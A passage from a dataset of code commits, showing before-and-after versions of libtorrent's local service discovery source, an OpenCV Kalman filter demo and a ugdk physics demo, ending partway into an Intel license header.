\"libtorrent\/lsd.hpp\"\n#include \"libtorrent\/io.hpp\"\n#include \"libtorrent\/http_tracker_connection.hpp\"\n#include \"libtorrent\/buffer.hpp\"\n#include \"libtorrent\/http_parser.hpp\"\n\n#include <boost\/bind.hpp>\n#include <boost\/ref.hpp>\n#if BOOST_VERSION < 103500\n#include <asio\/ip\/host_name.hpp>\n#include <asio\/ip\/multicast.hpp>\n#else\n#include <boost\/asio\/ip\/host_name.hpp>\n#include <boost\/asio\/ip\/multicast.hpp>\n#endif\n#include <boost\/thread\/mutex.hpp>\n#include <cstdlib>\n#include <boost\/config.hpp>\n\nusing boost::bind;\nusing namespace libtorrent;\n\nnamespace libtorrent\n{\n\t\/\/ defined in broadcast_socket.cpp\n\taddress guess_local_address(io_service&);\n}\n\nstatic error_code ec;\n\nlsd::lsd(io_service& ios, address const& listen_interface\n\t, peer_callback_t const& cb)\n\t: m_callback(cb)\n\t, m_retry_count(1)\n\t, m_socket(ios, udp::endpoint(address_v4::from_string(\"239.192.152.143\", ec), 6771)\n\t\t, bind(&lsd::on_announce, self(), _1, _2, _3))\n\t, m_broadcast_timer(ios)\n\t, m_disabled(false)\n{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log.open(\"lsd.log\", std::ios::in | std::ios::out | std::ios::trunc);\n#endif\n}\n\nlsd::~lsd() {}\n\nvoid lsd::announce(sha1_hash const& ih, int listen_port)\n{\n\tif (m_disabled) return;\n\n\tstd::stringstream btsearch;\n\tbtsearch << \"BT-SEARCH * HTTP\/1.1\\r\\n\"\n\t\t\"Host: 239.192.152.143:6771\\r\\n\"\n\t\t\"Port: \" << listen_port << \"\\r\\n\"\n\t\t\"Infohash: \" << ih << \"\\r\\n\"\n\t\t\"\\r\\n\\r\\n\";\n\tstd::string const& msg = btsearch.str();\n\n\tm_retry_count = 1;\n\terror_code ec;\n\tm_socket.send(msg.c_str(), int(msg.size()), ec);\n\tif (ec)\n\t{\n\t\tm_disabled = true;\n\t\treturn;\n\t}\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << time_now_string()\n\t\t<< \" ==> announce: ih: \" << ih << \" port: \" << listen_port << std::endl;\n#endif\n\n\tm_broadcast_timer.expires_from_now(milliseconds(250 * m_retry_count), ec);\n\tm_broadcast_timer.async_wait(bind(&lsd::resend_announce, self(), _1, msg));\n}\n\nvoid lsd::resend_announce(error_code const& e, std::string msg)\n{\n\tif (e) return;\n\n\terror_code ec;\n\tm_socket.send(msg.c_str(), int(msg.size()), ec);\n\n\t++m_retry_count;\n\tif (m_retry_count >= 5)\n\t\treturn;\n\n\tm_broadcast_timer.expires_from_now(milliseconds(250 * m_retry_count), ec);\n\tm_broadcast_timer.async_wait(bind(&lsd::resend_announce, self(), _1, msg));\n}\n\nvoid lsd::on_announce(udp::endpoint const& from, char* buffer\n\t, std::size_t bytes_transferred)\n{\n\tusing namespace libtorrent::detail;\n\n\thttp_parser p;\n\n\tbool error = false;\n\tp.incoming(buffer::const_interval(buffer, buffer + bytes_transferred)\n\t\t, error);\n\n\tif (!p.header_finished() || error)\n\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << time_now_string()\n\t\t<< \" <== announce: incomplete HTTP message\\n\";\n#endif\n\t\treturn;\n\t}\n\n\tif (p.method() != \"bt-search\")\n\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << time_now_string()\n\t\t<< \" <== announce: invalid HTTP method: \" << p.method() << std::endl;\n#endif\n\t\treturn;\n\t}\n\n\tstd::string const& port_str = p.header(\"port\");\n\tif (port_str.empty())\n\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << time_now_string()\n\t\t<< \" <== announce: invalid BT-SEARCH, missing port\" << std::endl;\n#endif\n\t\treturn;\n\t}\n\n\tstd::string const& ih_str = p.header(\"infohash\");\n\tif (ih_str.empty())\n\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << time_now_string()\n\t\t<< \" <== announce: invalid BT-SEARCH, missing infohash\" << std::endl;\n#endif\n\t\treturn;\n\t}\n\n\tsha1_hash ih(0);\n\tstd::istringstream ih_sstr(ih_str);\n\tih_sstr >> ih;\n\tint port = std::atoi(port_str.c_str());\n\n\tif (!ih.is_all_zeros() && port != 0)\n\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tm_log << time_now_string()\n\t\t\t<< \" *** incoming local announce \" << from.address()\n\t\t\t<< \":\" << port << \" ih: \" << ih << std::endl;\n#endif\n\t\t\/\/ we got an announce, pass it on through the callback\n#ifndef BOOST_NO_EXCEPTIONS\n\t\ttry {\n#endif\n\t\t\tm_callback(tcp::endpoint(from.address(), port), ih);\n#ifndef BOOST_NO_EXCEPTIONS\n\t\t}\n\t\tcatch (std::exception&) {}\n#endif\n\t}\n}\n\nvoid lsd::close()\n{\n\tm_socket.close();\n\terror_code ec;\n\tm_broadcast_timer.cancel(ec);\n\tm_disabled = true;\n\tm_callback.clear();\n}\n\n<commit_msg>fixed locale dependence in lsd.cpp<commit_after>\/*\n\nCopyright (c) 2007, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"libtorrent\/pch.hpp\"\n\n#include \"libtorrent\/lsd.hpp\"\n#include \"libtorrent\/io.hpp\"\n#include \"libtorrent\/http_tracker_connection.hpp\"\n#include \"libtorrent\/buffer.hpp\"\n#include \"libtorrent\/http_parser.hpp\"\n#include \"libtorrent\/escape_string.hpp\"\n\n#include <boost\/bind.hpp>\n#include <boost\/ref.hpp>\n#if BOOST_VERSION < 103500\n#include <asio\/ip\/host_name.hpp>\n#include <asio\/ip\/multicast.hpp>\n#else\n#include <boost\/asio\/ip\/host_name.hpp>\n#include <boost\/asio\/ip\/multicast.hpp>\n#endif\n#include <boost\/thread\/mutex.hpp>\n#include <cstdlib>\n#include <boost\/config.hpp>\n\nusing boost::bind;\nusing namespace libtorrent;\n\nnamespace libtorrent\n{\n\t\/\/ defined in broadcast_socket.cpp\n\taddress guess_local_address(io_service&);\n}\n\nstatic error_code ec;\n\nlsd::lsd(io_service& ios, address const& listen_interface\n\t, peer_callback_t const& cb)\n\t: m_callback(cb)\n\t, m_retry_count(1)\n\t, m_socket(ios, udp::endpoint(address_v4::from_string(\"239.192.152.143\", ec), 6771)\n\t\t, bind(&lsd::on_announce, self(), _1, _2, _3))\n\t, m_broadcast_timer(ios)\n\t, m_disabled(false)\n{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log.open(\"lsd.log\", std::ios::in | std::ios::out | std::ios::trunc);\n#endif\n}\n\nlsd::~lsd() {}\n\nvoid lsd::announce(sha1_hash const& ih, int listen_port)\n{\n\tif (m_disabled) return;\n\n\tstd::stringstream btsearch;\n\tbtsearch << \"BT-SEARCH * HTTP\/1.1\\r\\n\"\n\t\t\"Host: 239.192.152.143:6771\\r\\n\"\n\t\t\"Port: \" << to_string(listen_port).elems << \"\\r\\n\"\n\t\t\"Infohash: \" << ih << \"\\r\\n\"\n\t\t\"\\r\\n\\r\\n\";\n\tstd::string const& msg = btsearch.str();\n\n\tm_retry_count = 1;\n\terror_code ec;\n\tm_socket.send(msg.c_str(), int(msg.size()), ec);\n\tif (ec)\n\t{\n\t\tm_disabled = true;\n\t\treturn;\n\t}\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << time_now_string()\n\t\t<< \" ==> announce: ih: \" << ih << \" port: \" << to_string(listen_port).elems << std::endl;\n#endif\n\n\tm_broadcast_timer.expires_from_now(milliseconds(250 * m_retry_count), ec);\n\tm_broadcast_timer.async_wait(bind(&lsd::resend_announce, self(), _1, msg));\n}\n\nvoid lsd::resend_announce(error_code const& e, std::string msg)\n{\n\tif (e) return;\n\n\terror_code ec;\n\tm_socket.send(msg.c_str(), int(msg.size()), ec);\n\n\t++m_retry_count;\n\tif (m_retry_count >= 5)\n\t\treturn;\n\n\tm_broadcast_timer.expires_from_now(milliseconds(250 * m_retry_count), ec);\n\tm_broadcast_timer.async_wait(bind(&lsd::resend_announce, self(), _1, msg));\n}\n\nvoid lsd::on_announce(udp::endpoint const& from, char* buffer\n\t, std::size_t bytes_transferred)\n{\n\tusing namespace libtorrent::detail;\n\n\thttp_parser p;\n\n\tbool error = false;\n\tp.incoming(buffer::const_interval(buffer, buffer + bytes_transferred)\n\t\t, error);\n\n\tif (!p.header_finished() || error)\n\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << time_now_string()\n\t\t<< \" <== announce: incomplete HTTP message\\n\";\n#endif\n\t\treturn;\n\t}\n\n\tif (p.method() != \"bt-search\")\n\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << time_now_string()\n\t\t<< \" <== announce: invalid HTTP method: \" << p.method() << std::endl;\n#endif\n\t\treturn;\n\t}\n\n\tstd::string const& port_str = p.header(\"port\");\n\tif (port_str.empty())\n\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << time_now_string()\n\t\t<< \" <== announce: invalid BT-SEARCH, missing port\" << std::endl;\n#endif\n\t\treturn;\n\t}\n\n\tstd::string const& ih_str = p.header(\"infohash\");\n\tif (ih_str.empty())\n\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << time_now_string()\n\t\t<< \" <== announce: invalid BT-SEARCH, missing infohash\" << std::endl;\n#endif\n\t\treturn;\n\t}\n\n\tsha1_hash ih(0);\n\tstd::istringstream ih_sstr(ih_str);\n\tih_sstr >> ih;\n\tint port = std::atoi(port_str.c_str());\n\n\tif (!ih.is_all_zeros() && port != 0)\n\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tm_log << time_now_string()\n\t\t\t<< \" *** incoming local announce \" << from.address()\n\t\t\t<< \":\" << to_string(port).elems << \" ih: \" << ih << std::endl;\n#endif\n\t\t\/\/ we got an announce, pass it on through the callback\n#ifndef BOOST_NO_EXCEPTIONS\n\t\ttry {\n#endif\n\t\t\tm_callback(tcp::endpoint(from.address(), port), ih);\n#ifndef BOOST_NO_EXCEPTIONS\n\t\t}\n\t\tcatch (std::exception&) {}\n#endif\n\t}\n}\n\nvoid lsd::close()\n{\n\tm_socket.close();\n\terror_code ec;\n\tm_broadcast_timer.cancel(ec);\n\tm_disabled = true;\n\tm_callback.clear();\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"opencv2\/video\/tracking.hpp\"\n#include \"opencv2\/highgui\/highgui.hpp\"\n\n#include <stdio.h>\n\nusing namespace cv;\n\nstatic inline Point calcPoint(Point2f center, double R, double angle)\n{\n return center + Point2f((float)cos(angle), (float)-sin(angle))*(float)R;\n}\n\nstatic void help()\n{\n printf( \"\\nExamle of c calls to OpenCV's Kalman filter.\\n\"\n\" Tracking of rotating point.\\n\"\n\" Rotation speed is constant.\\n\"\n\" Both state and measurements vectors are 1D (a point angle),\\n\"\n\" Measurement is the real point angle + gaussian noise.\\n\"\n\" The real and the estimated points are connected with yellow line segment,\\n\"\n\" the real and the measured points are connected with red line segment.\\n\"\n\" (if Kalman filter works correctly,\\n\"\n\" the yellow segment should be shorter than the red one).\\n\"\n \"\\n\"\n\" Pressing any key (except ESC) will reset the tracking with a different speed.\\n\"\n\" Pressing ESC will stop the program.\\n\"\n );\n}\n\nint main(int, char**)\n{\n help();\n Mat img(500, 500, CV_8UC3);\n KalmanFilter KF(2, 1, 0);\n Mat state(2, 1, CV_32F); \/* (phi, delta_phi) *\/\n Mat processNoise(2, 1, CV_32F);\n Mat measurement = Mat::zeros(1, 1, CV_32F);\n char code = (char)-1;\n\n for(;;)\n {\n randn( state, Scalar::all(0), Scalar::all(0.1) );\n KF.transitionMatrix = *(Mat_<float>(2, 2) << 1, 1, 0, 1);\n\n setIdentity(KF.measurementMatrix);\n setIdentity(KF.processNoiseCov, Scalar::all(1e-5));\n setIdentity(KF.measurementNoiseCov, Scalar::all(1e-1));\n setIdentity(KF.errorCovPost, Scalar::all(1));\n\n randn(KF.statePost, Scalar::all(0), Scalar::all(0.1));\n\n for(;;)\n {\n Point2f center(img.cols*0.5f, img.rows*0.5f);\n float R = img.cols\/3.f;\n double stateAngle = state.at<float>(0);\n Point statePt = calcPoint(center, R, stateAngle);\n\n Mat prediction = KF.predict();\n double predictAngle = prediction.at<float>(0);\n Point predictPt = calcPoint(center, R, predictAngle);\n\n randn( measurement, Scalar::all(0), Scalar::all(KF.measurementNoiseCov.at<float>(0)));\n\n \/\/ generate measurement\n measurement += KF.measurementMatrix*state;\n\n double measAngle = measurement.at<float>(0);\n Point measPt = calcPoint(center, R, measAngle);\n\n \/\/ plot points\n #define drawCross( center, color, d ) \\\n line( img, Point( center.x - d, center.y - d ), \\\n Point( center.x + d, center.y + d ), color, 1, CV_AA, 0); \\\n line( img, Point( center.x + d, center.y - d ), \\\n Point( center.x - d, center.y + d ), color, 1, CV_AA, 0 )\n\n img = Scalar::all(0);\n drawCross( statePt, Scalar(255,255,255), 3 );\n drawCross( measPt, Scalar(0,0,255), 3 );\n drawCross( predictPt, Scalar(0,255,0), 3 );\n line( img, statePt, measPt, Scalar(0,0,255), 3, CV_AA, 0 );\n line( img, statePt, predictPt, Scalar(0,255,255), 3, CV_AA, 0 );\n\n if(theRNG().uniform(0,4) != 0)\n KF.correct(measurement);\n\n randn( processNoise, Scalar(0), Scalar::all(sqrt(KF.processNoiseCov.at<float>(0, 0))));\n state = KF.transitionMatrix*state + processNoise;\n\n imshow( \"Kalman\", img );\n code = (char)waitKey(100);\n\n if( code > 0 )\n break;\n }\n if( code == 27 || code == 'q' || code == 'Q' )\n break;\n }\n\n return 0;\n}\n<commit_msg>Fixed typo<commit_after>#include \"opencv2\/video\/tracking.hpp\"\n#include \"opencv2\/highgui\/highgui.hpp\"\n\n#include <stdio.h>\n\nusing namespace cv;\n\nstatic inline Point calcPoint(Point2f center, double R, double angle)\n{\n return center + Point2f((float)cos(angle), (float)-sin(angle))*(float)R;\n}\n\nstatic void help()\n{\n printf( \"\\nExample of c calls to OpenCV's Kalman filter.\\n\"\n\" Tracking of rotating point.\\n\"\n\" Rotation speed is constant.\\n\"\n\" Both state and measurements vectors are 1D (a point angle),\\n\"\n\" Measurement is the real point angle + gaussian noise.\\n\"\n\" The real and the estimated points are connected with yellow line segment,\\n\"\n\" the real and the measured points are connected with red line segment.\\n\"\n\" (if Kalman filter works correctly,\\n\"\n\" the yellow segment should be shorter than the red one).\\n\"\n \"\\n\"\n\" Pressing any key (except ESC) will reset the tracking with a different speed.\\n\"\n\" Pressing ESC will stop the program.\\n\"\n );\n}\n\nint main(int, char**)\n{\n help();\n Mat img(500, 500, CV_8UC3);\n KalmanFilter KF(2, 1, 0);\n Mat state(2, 1, CV_32F); \/* (phi, delta_phi) *\/\n Mat processNoise(2, 1, CV_32F);\n Mat measurement = Mat::zeros(1, 1, CV_32F);\n char code = (char)-1;\n\n for(;;)\n {\n randn( state, Scalar::all(0), Scalar::all(0.1) );\n KF.transitionMatrix = *(Mat_<float>(2, 2) << 1, 1, 0, 1);\n\n setIdentity(KF.measurementMatrix);\n setIdentity(KF.processNoiseCov, Scalar::all(1e-5));\n setIdentity(KF.measurementNoiseCov, Scalar::all(1e-1));\n setIdentity(KF.errorCovPost, Scalar::all(1));\n\n randn(KF.statePost, Scalar::all(0), Scalar::all(0.1));\n\n for(;;)\n {\n Point2f center(img.cols*0.5f, img.rows*0.5f);\n float R = img.cols\/3.f;\n double stateAngle = state.at<float>(0);\n Point statePt = calcPoint(center, R, stateAngle);\n\n Mat prediction = KF.predict();\n double predictAngle = prediction.at<float>(0);\n Point predictPt = calcPoint(center, R, predictAngle);\n\n randn( measurement, Scalar::all(0), Scalar::all(KF.measurementNoiseCov.at<float>(0)));\n\n \/\/ generate measurement\n measurement += KF.measurementMatrix*state;\n\n double measAngle = measurement.at<float>(0);\n Point measPt = calcPoint(center, R, measAngle);\n\n \/\/ plot points\n #define drawCross( center, color, d ) \\\n line( img, Point( center.x - d, center.y - d ), \\\n Point( center.x + d, center.y + d ), color, 1, CV_AA, 0); \\\n line( img, Point( center.x + d, center.y - d ), \\\n Point( center.x - d, center.y + d ), color, 1, CV_AA, 0 )\n\n img = Scalar::all(0);\n drawCross( statePt, Scalar(255,255,255), 3 );\n drawCross( measPt, Scalar(0,0,255), 3 );\n drawCross( predictPt, Scalar(0,255,0), 3 );\n line( img, statePt, measPt, Scalar(0,0,255), 3, CV_AA, 0 );\n line( img, statePt, predictPt, Scalar(0,255,255), 3, CV_AA, 0 );\n\n if(theRNG().uniform(0,4) != 0)\n KF.correct(measurement);\n\n randn( processNoise, Scalar(0), Scalar::all(sqrt(KF.processNoiseCov.at<float>(0, 0))));\n state = KF.transitionMatrix*state + processNoise;\n\n imshow( \"Kalman\", img );\n code = (char)waitKey(100);\n\n if( code > 0 )\n break;\n }\n if( code == 27 || code == 'q' || code == 'Q' )\n break;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\n#include <ugdk\/system\/engine.h>\n#include <ugdk\/action\/3D\/camera.h>\n#include <ugdk\/input\/events.h>\n#include <ugdk\/input\/module.h>\n#include <bulletworks\/object.h>\n#include <bulletworks\/physicscene.h>\n#include <bulletworks\/manager.h>\n#include <BtOgreGP.h>\n#include <memory>\n\n#include <OgreCamera.h>\n#include <OgreEntity.h>\n#include <OgreLogManager.h>\n#include <OgreRoot.h>\n#include <OgreViewport.h>\n#include <OgreSceneManager.h>\n#include <OgreRenderWindow.h>\n#include <OgreConfigFile.h>\n#include <OgreMeshManager.h>\n\n#define AREA_RANGE 200.0\n\nusing std::unique_ptr;\n\nbulletworks::PhysicScene *ourscene;\n\n#define BIT(x) (1<<(x))\nenum CollisionGroup {\n HEADS = BIT(6),\n WALLS = BIT(7),\n WAT2 = BIT(8),\n WAT3 = BIT(9),\n WAT4 = BIT(10)\n};\n\nbulletworks::Object* createOgreHead(const std::string& name, bool useBox=false) {\n Ogre::SceneManager *mSceneMgr = ourscene->manager();\n bulletworks::Object::PhysicsData headData;\n auto headEnt = mSceneMgr->createEntity(name, \"Cube.mesh\");\n auto meshShapeConv = BtOgre::StaticMeshToShapeConverter(headEnt);\n if (useBox)\n headData.shape = meshShapeConv.createBox();\n else\n headData.shape = meshShapeConv.createSphere();\n headData.mass = 80;\n headData.collision_group = CollisionGroup::HEADS;\n headData.collides_with = CollisionGroup::WALLS | CollisionGroup::HEADS;\n auto head = new bulletworks::Object(*ourscene, headEnt, headData);\n head->AddToScene(ourscene);\n head->body()->setDamping(.4, .4);\n return head;\n}\n\nbulletworks::Object* createWall(const std::string& name, const Ogre::Vector3& dir, double dist,\n double width = AREA_RANGE, double height = AREA_RANGE) {\n Ogre::SceneManager *mSceneMgr = ourscene->manager();\n Ogre::Plane plane(dir, dist);\n\n Ogre::MeshManager::getSingleton().createPlane(\n name, Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME, plane, width, height,\n 5, 5, true, 1, 5, 5, dir.perpendicular());\n\n const std::string wat = name + \"Entity\";\n Ogre::Entity* wallEnt = mSceneMgr->createEntity(wat, name);\n wallEnt->setMaterialName(\"Ogre\/Tusks\");\n \n bulletworks::Object::PhysicsData wallData;\n wallData.shape = new btStaticPlaneShape(btVector3(dir.x, dir.y, dir.z), dist);\n wallData.mass = 0;\n wallData.collision_group = CollisionGroup::WALLS;\n wallData.collides_with = CollisionGroup::HEADS;\n\n auto wall = new bulletworks::Object(*ourscene, wallEnt, wallData);\n wall->AddToScene(ourscene);\n wall->body()->setFriction(1.7);\n return wall;\n}\n\nint main(int argc, char* argv[]) {\n ugdk::system::Configuration config;\n config.base_path = \"assets\/\";\n ugdk::system::Initialize(config);\n ourscene = new bulletworks::PhysicScene(btVector3(0, -10, 0));\n \n ourscene->physics_manager()->set_debug_draw_enabled(true);\n ourscene->ShowFrameStats();\n\n auto head1 = createOgreHead(\"Head\");\n auto head2 = createOgreHead(\"Head2\", true);\n head2->Translate(0, 0, 80);\n head2->body()->setAngularFactor(btVector3(0.0, 0.0, 0.0));\n\n ourscene->camera()->AttachTo(*head2);\n ourscene->camera()->SetParameters(Ogre::Vector3::ZERO, 5000);\n ourscene->camera()->SetDistance(10);\n\n createWall(\"ground\", Ogre::Vector3::UNIT_Y, -(AREA_RANGE \/ 2));\n\n ourscene->AddTask(ugdk::system::Task(\n [head2](double dt) {\n auto& keyboard = ugdk::input::manager()->keyboard();\n Ogre::Vector3 move = Ogre::Vector3::ZERO;\n if (keyboard.IsDown(ugdk::input::Scancode::D))\n move.x += 1.0;\n else if (keyboard.IsDown(ugdk::input::Scancode::A))\n move.x += -1.0;\n if (keyboard.IsDown(ugdk::input::Scancode::W))\n move.z += -1.0;\n else if (keyboard.IsDown(ugdk::input::Scancode::S))\n move.z += 1.0;\n\n move.normalise();\n move = ourscene->camera()->actual_orientation() * move;\n move.y = 0.0;\n move.normalise();\n head2->Move( move * 20 );\n }\n ));\n\n ourscene->event_handler().AddListener<ugdk::input::KeyPressedEvent>(\n [head2] (const ugdk::input::KeyPressedEvent& ev) -> void {\n if (ev.scancode == ugdk::input::Scancode::ESCAPE)\n ourscene->Finish();\n });\n ourscene->event_handler().AddListener<ugdk::input::MouseMotionEvent>(\n [](const ugdk::input::MouseMotionEvent& ev) -> void {\n ourscene->camera()->Rotate(-ev.motion.x, -ev.motion.y);\n });\n\n ourscene->manager()->setAmbientLight(Ogre::ColourValue(.4, .4, .4));\n\n ugdk::system::PushScene(unique_ptr<ugdk::action::Scene>(ourscene));\n ugdk::system::Run();\n ugdk::system::Release();\n return 0;\n}\n<commit_msg>Following ugdk-3d's<commit_after>\n#include <ugdk\/system\/engine.h>\n#include <ugdk\/action\/3D\/camera.h>\n#include <ugdk\/input\/events.h>\n#include <ugdk\/input\/module.h>\n#include <bulletworks\/object.h>\n#include <bulletworks\/physicscene.h>\n#include <bulletworks\/manager.h>\n#include <bulletworks\/component\/physicsbody.h>\n#include <BtOgreGP.h>\n#include <memory>\n\n#include <OgreCamera.h>\n#include <OgreEntity.h>\n#include <OgreLogManager.h>\n#include <OgreRoot.h>\n#include <OgreViewport.h>\n#include <OgreSceneManager.h>\n#include <OgreRenderWindow.h>\n#include <OgreConfigFile.h>\n#include <OgreMeshManager.h>\n\n#define AREA_RANGE 200.0\n\nusing std::unique_ptr;\nusing std::shared_ptr;\nusing std::make_shared;\nusing bulletworks::component::PhysicsBody;\nusing bulletworks::component::Body;\n\nbulletworks::PhysicScene *ourscene;\n\n#define BIT(x) (1<<(x))\nenum CollisionGroup {\n HEADS = BIT(6),\n WALLS = BIT(7),\n WAT2 = BIT(8),\n WAT3 = BIT(9),\n WAT4 = BIT(10)\n};\n\nbulletworks::Object* createOgreHead(const std::string& name, bool useBox=false) {\n Ogre::SceneManager *mSceneMgr = ourscene->manager();\n bulletworks::component::PhysicsBody::PhysicsData headData;\n auto headEnt = mSceneMgr->createEntity(name, \"Cube.mesh\");\n auto meshShapeConv = BtOgre::StaticMeshToShapeConverter(headEnt);\n if (useBox)\n headData.shape = meshShapeConv.createBox();\n else\n headData.shape = meshShapeConv.createSphere();\n headData.mass = 80;\n headData.collision_group = CollisionGroup::HEADS;\n headData.collides_with = CollisionGroup::WALLS | CollisionGroup::HEADS;\n auto head = new bulletworks::Object(*ourscene, headEnt);\n head->AddComponent(make_shared<PhysicsBody>(ourscene->physics_manager(), headData));\n head->AddToScene(ourscene);\n head->body()->setDamping(.4, .4);\n return head;\n}\n\nbulletworks::Object* createWall(const std::string& name, const Ogre::Vector3& dir, double dist,\n double width = AREA_RANGE, double height = AREA_RANGE) {\n Ogre::SceneManager *mSceneMgr = ourscene->manager();\n Ogre::Plane plane(dir, dist);\n\n Ogre::MeshManager::getSingleton().createPlane(\n name, Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME, plane, width, height,\n 5, 5, true, 1, 5, 5, dir.perpendicular());\n\n const std::string wat = name + \"Entity\";\n Ogre::Entity* wallEnt = mSceneMgr->createEntity(wat, name);\n wallEnt->setMaterialName(\"Ogre\/Tusks\");\n \n bulletworks::component::PhysicsBody::PhysicsData wallData;\n wallData.shape = new btStaticPlaneShape(btVector3(dir.x, dir.y, dir.z), dist);\n wallData.mass = 0;\n wallData.collision_group = CollisionGroup::WALLS;\n wallData.collides_with = CollisionGroup::HEADS;\n auto wall = new bulletworks::Object(*ourscene, wallEnt);\n wall->AddComponent(make_shared<PhysicsBody>(ourscene->physics_manager(), wallData));\n wall->AddToScene(ourscene);\n wall->body()->setFriction(1.7);\n return wall;\n}\n\nint main(int argc, char* argv[]) {\n ugdk::system::Configuration config;\n config.base_path = \"assets\/\";\n ugdk::system::Initialize(config);\n ourscene = new bulletworks::PhysicScene(btVector3(0, -10, 0));\n \n ourscene->physics_manager().set_debug_draw_enabled(true);\n ourscene->ShowFrameStats();\n\n auto head1 = createOgreHead(\"Head\");\n auto head2 = createOgreHead(\"Head2\", true);\n auto body2 = head2->GetComponent<PhysicsBody>();\n body2->Translate(0, 0, 80);\n body2->set_angular_factor(0.0, 0.0, 0.0);\n\n ourscene->camera()->AttachTo(*head2);\n ourscene->camera()->SetParameters(Ogre::Vector3::ZERO, 5000);\n ourscene->camera()->SetDistance(10);\n\n createWall(\"ground\", Ogre::Vector3::UNIT_Y, -(AREA_RANGE \/ 2));\n\n ourscene->AddTask(ugdk::system::Task(\n [body2](double dt) {\n auto& keyboard = ugdk::input::manager()->keyboard();\n Ogre::Vector3 move = Ogre::Vector3::ZERO;\n if (keyboard.IsDown(ugdk::input::Scancode::D))\n move.x += 1.0;\n else if (keyboard.IsDown(ugdk::input::Scancode::A))\n move.x += -1.0;\n if (keyboard.IsDown(ugdk::input::Scancode::W))\n move.z += -1.0;\n else if (keyboard.IsDown(ugdk::input::Scancode::S))\n move.z += 1.0;\n\n move.normalise();\n move = ourscene->camera()->actual_orientation() * move;\n move.y = 0.0;\n move.normalise();\n body2->bulletworks::component::Body::Move((move * 10));\n }\n ));\n\n ourscene->event_handler().AddListener<ugdk::input::KeyPressedEvent>(\n [head2] (const ugdk::input::KeyPressedEvent& ev) -> void {\n if (ev.scancode == ugdk::input::Scancode::ESCAPE)\n ourscene->Finish();\n });\n ourscene->event_handler().AddListener<ugdk::input::MouseMotionEvent>(\n [](const ugdk::input::MouseMotionEvent& ev) -> void {\n ourscene->camera()->Rotate(-ev.motion.x, -ev.motion.y);\n });\n\n ourscene->manager()->setAmbientLight(Ogre::ColourValue(.4, .4, .4));\n\n ugdk::system::PushScene(unique_ptr<ugdk::action::Scene>(ourscene));\n ugdk::system::Run();\n ugdk::system::Release();\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n Copyright (c) 2014, Intel Corporation\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are\n met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and\/or other materials provided with the distribution.\n\n * Neither the name of Intel Corporation nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\n\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER\n OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n 